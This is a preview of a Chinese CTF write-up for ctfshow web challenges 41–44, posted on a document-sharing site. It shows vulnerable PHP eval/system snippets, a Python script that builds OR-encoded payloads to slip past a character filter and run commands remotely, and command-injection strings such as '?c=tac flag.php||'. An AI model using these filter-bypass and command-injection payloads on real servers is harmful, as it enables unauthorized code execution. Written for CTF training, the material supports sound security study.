没有合适的资源？快使用搜索试试~ 我知道了~

文库首页后端PHPctfshow-web41~60-WP

ctfshow-web41~60-WP

ctf

0 下载量 21 浏览量 2024-02-21 17:17:45 上传评论收藏 1.14MB DOCX 举报

温馨提示

试读

23页

ctfshow-web41~60-WPctfshow-web41~60-WP

资源推荐

资源详情

资源评论

ctfshow-web41~60-WP

web41

if(isset($_POST['c'])){

$c = $_POST['c'];

if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){

eval("echo($c);");

}

过滤了数字和字母还有一些其他符号，但我们可以利用或运算符进行构造payload进行

命令执行思路：

通俗解释：例如源码中禁止我们使用了数字3，也就是ascii码值为51，我们可以使用

或运算符在没有被禁止的字符中构造出51来，比如19和32没有被禁止，我们进行或运

算19|32=51，就可以获得51这个ascii码值，也就是成功得到了数字3

知道了方法后，我们从ascii码表，也就是0-

255中找到没有被过滤的字符进行或运算，以寻求得到我们想要的字符结合了yu师傅给

出的exp，我们写一个独立的python脚本

#-- coding:UTF-8 --

# Author:dota_st

# Date:2021/2/10 12:56

# blog: www.wlhhlc.top

import requests

import urllib

import re

from sys import *

if(len(argv)!=2):

print("="*50)

print('USER:python exp.py <url>')

print("eg: python exp.py http://ctf.show/")

print("exit: input exit in function")

print("="*50)

exit(0)

url=argv[1]

#生成可用的字符

def write_rce():

result = ''

preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'

for i in range(256):

for j in range(256):

if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):

k = i | j

if k >= 32 and k <= 126:

a = '%' + hex(i)[2:].zfill(2)

b = '%' + hex(j)[2:].zfill(2)

result += (chr(k) + ' ' + a + ' ' + b + '\n')

f = open('rce.txt', 'w')

f.write(result)

#根据输入的命令在生成的txt中进行匹配

def action(arg):

s1=""

s2=""

for i in arg:

f=open("rce.txt","r")

while True:

t=f.readline()

if t=="":

break

if t[0]==i:

s1+=t[2:5]

s2+=t[6:9]

break

f.close()

output="(\""+s1+"\"|\""+s2+"\")"

return(output)

def main():

write_rce()

while True:

s1 = input("\n[+] your function：")

if s1 == "exit":

break

s2 = input("[+] your command：")

param=action(s1) + action(s2)

data={

'c':urllib.parse.unquote(param)

}

r=requests.post(url,data=data)

print("\n[*] result:\n"+r.text)

main()

运行后，输入命令得到flag

https://blog-file-

1302856486.file.myqcloud.com/Web1000%28%E4%B8%80%29/%E5%91%BD%E4%BB%A4%E6%8

9%A7%E8%A1%8C/web41/%7DG%40_KOG%24CK29%60OW%5BQEF%5DQMR.png后来发现图片脚本

名字打错了，是或运算噢，不要概念混淆了哈哈

web42

if(isset($_GET['c'])){

$c=$_GET['c'];

system($c." >/dev/null 2>&1");

}

这次后面多了一个" >/dev/null

2>&1"语句，意思是写入的内容会永远消失，也就是不进行回显

1：> 代表重定向到哪里，例如：echo “123” > /home/123.txt2：/dev/null

代表空设备文件3：2> 表示stderr标准错误4：&

表示等同于的意思，2>&1，表示2的输出重定向等同于15：1

表示stdout标准输出，系统默认值是1，所以">/dev/null"等同于

“1>/dev/null”因此，>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”

那么本文标题的语句执行过程为：1>/dev/null

：首先表示标准输出重定向到空设备文件，也就是不输出任何信息到终端，也就是不

显示任何信息。2>&1 ：

接着，标准错误输出重定向到标准输出，因为之前标准输出已经重定向到了空设备文

件，所以标准错误输出也重定向到空设备文件。

也就是我们如果输入?c=ls，输出就会被吞掉不进行回显，那该怎么办呢？其实很简单

，用;号或者||等等一些命令分隔符进行命令分隔payload如下：

?c=tac flag.php;

web43

if(isset($_GET['c'])){

$c=$_GET['c'];

if(!preg_match("/\;|cat/i", $c)){

system($c." >/dev/null 2>&1");

}

在前面基础上过滤了cat和;号，我们使用其他命令分隔符即可

?c=tac flag.php||

web44

f(isset($_GET['c'])){

$c=$_GET['c'];

if(!preg_match("/;|cat|flag/i", $c)){

system($c." >/dev/null 2>&1");

}

把flag过滤了，相信如果你从前面做到现在，心中应该也知道怎么绕过了哈哈，使用

通配符进行绕过

?c=tac fla*||

剩余22页未读，继续阅读

评论收藏

内容反馈

资源评论

资源反馈

评论星级较低，若资源使用遇到问题可联系上传者，3个工作日内问题未解决可申请退款~

五行缺你94

粉丝: 1014
资源: 48

上传资源快速赚钱

我的内容管理展开

我的资源快来上传第一个资源

我的收益

登录查看自己的收益

我的积分登录查看自己的积分

我的C币登录后查看C币余额

我的收藏

我的下载

下载帮助

前往需求广场，查看用户热搜

ctfshow-web41~60-WP

us-17-Gil-Web-Cache-Deception-Attack-wp.pdf

Gil-Web-Cache-Deception-Attack-wp.zip

虹润 HR-WP-TC系列计数仪表说明书.pdf

虹润 HR-WP-TC计时定时仪表说明书.pdf

wordpress自动采集发布插件wp-o-matic汉化版

wp-script-core

all-in-one-wp-migration-file-extension.zip

莹浦通WP-T960热敏打印机驱动 v7.01 官方版

wp-live-chat-support-master 离线 安装包

wordpress自动采集插件WP-AutoPost-Pro最新免授权无限制版wordpress自动采集插件WP-AutoPos

wordpress wp-o-matic.zip

WP-DBManager2.50 简体中文包插件 for WordPress.zip

数据库备份插件WP-DBManager

Api-wp-graphql-acf.zip

文章置顶插件WP-Sticky插件 for Wordpress.zip

wp-autopost-pro_wpautopostpro_wp-autopost-pro_wp-autopostpro_aut

虹润HR-WP-XC103的说明书.pdf

虹润 HR-WP-X106双点灯光式闪光报警器说明书.pdf

wp-9-essential-requirements-for-web-security

最新ChatGPT网站源码运营版+支持ai绘画+GPT4.0+GPT3.5绘画+实时语音识别+后台一键版本更新！

2023最新版ChatGPT网站源码+支持ai绘画+GPT4.0+GPT3.5绘画+实时语音识别输入+用户会员套餐+管理后台

最新ChatGPT网站源码+支持GPT4.0+Prompt情景+ai绘画+GPT3.5 API绘画+语音识别输入!

基于fastadmin的在线商城免费源代码-shopro1.3.8

苹果CMS v10 2022.8.3官方原版源码

2024全新付费进群系统源码 Thinkphp框架全开源独立版 九块九进群源码 付费入群进群源码

python编程(从入门到实践）.zip

最新ChatGPT商用网站源码+支持GPT3.5/GPT4+支持AI绘画(Midjourney)+实时语音识别输+后台管理

独立版云贝连锁v2 261.zip

上门服务源码，类似于东郊到家

最新资源

wp-live-chat-support-master 离线安装包

2024全新付费进群系统源码 Thinkphp框架全开源独立版九块九进群源码付费入群进群源码